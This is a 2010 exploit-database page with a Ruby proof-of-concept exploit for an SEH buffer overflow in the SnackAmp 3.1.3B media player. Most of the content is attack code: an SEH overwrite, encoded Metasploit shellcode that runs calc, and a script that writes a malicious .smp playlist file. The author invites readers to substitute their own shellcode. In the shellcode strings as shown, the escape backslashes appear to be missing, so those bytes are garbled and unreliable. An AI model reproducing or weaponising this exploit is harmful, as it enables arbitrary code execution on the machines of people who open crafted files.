[local exploits] - SnackAmp 3.1.3B Malicious SMP Buffer Over
Posted on 24 September 2010
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>SnackAmp 3.1.3B Malicious SMP Buffer Overflow Vulnerability (SEH) | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Date: 24 Sep 2010 | Exploit category: local exploits | Exploit author: James Fitts | Inj3ct0r exploit database' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>================================================================= SnackAmp 3.1.3B Malicious SMP Buffer Overflow Vulnerability (SEH) ================================================================= # Exploit Title: SnackAmp 3.1.3B Malicious SMP Buffer Overflow Vulnerability (SEH) # Date: 09/24/10 # Author: james [AT] learnsecurityonline [DOT] com # Software Link: http://snackamp.sourceforge.net/ # Version: 3.1.3 Beta # Tested on: Windows XP SP3 # CVE: N/A # Just like the previous version there is plenty of room for your # shellcode. Have fun! #! /usr/bin/env ruby SEH = [0x014E9D40].pack('V') # pop pop ret from pngtcl10.dll nSEH = [0x909006eb].pack('V') padding = "x90" * 5 # windows/exec - 144 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # EXITFUNC=seh, CMD=calc payload = "xdbxc0x31xc9xbfx7cx16x70xcc" payload << "xd9x74x24xf4xb1x1ex58x31x78" payload << "x18x83xe8xfcx03x78x68xf4x85" payload << "x30x78xbcx65xc9x78xb6x23xf5" payload << "xf3xb4xaex7dx02xaax3ax32x1c" payload << "xbfx62xedx1dx54xd5x66x29x21" payload << "xe7x96x60xf5x71xcax06x35xf5" payload << "x14xc7x7cxfbx1bx05x6bxf0x27" payload << "xddx48xfdx22x38x1bxa2xe8xc3" payload << "xf7x3bx7axcfx4cx4fx23xd3x53" payload << "xa4x57xf7xd8x3bx83x8ex83x1f" payload << "x57x53x64x51xa1x33xcdxf5xc6" payload << "xf5xc1x7ex98xf5xaaxf1x05xa8" payload << "x26x99x3dx3bxc0xd9xfex51x61" payload << "xb6x0ex2fx85x19x87xb7x78x2f" payload << "x59x90x7bxd7x05x7fxe8x7bxca" junk = "x41" * (8788 - padding.length - payload.length) jmp_back = "xe9xa3xddxffxff" File.open("crash.smp", 'w') do |b| b.write padding + payload + junk + nSEH + SEH + jmp_back end # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-24]</pre></body></html>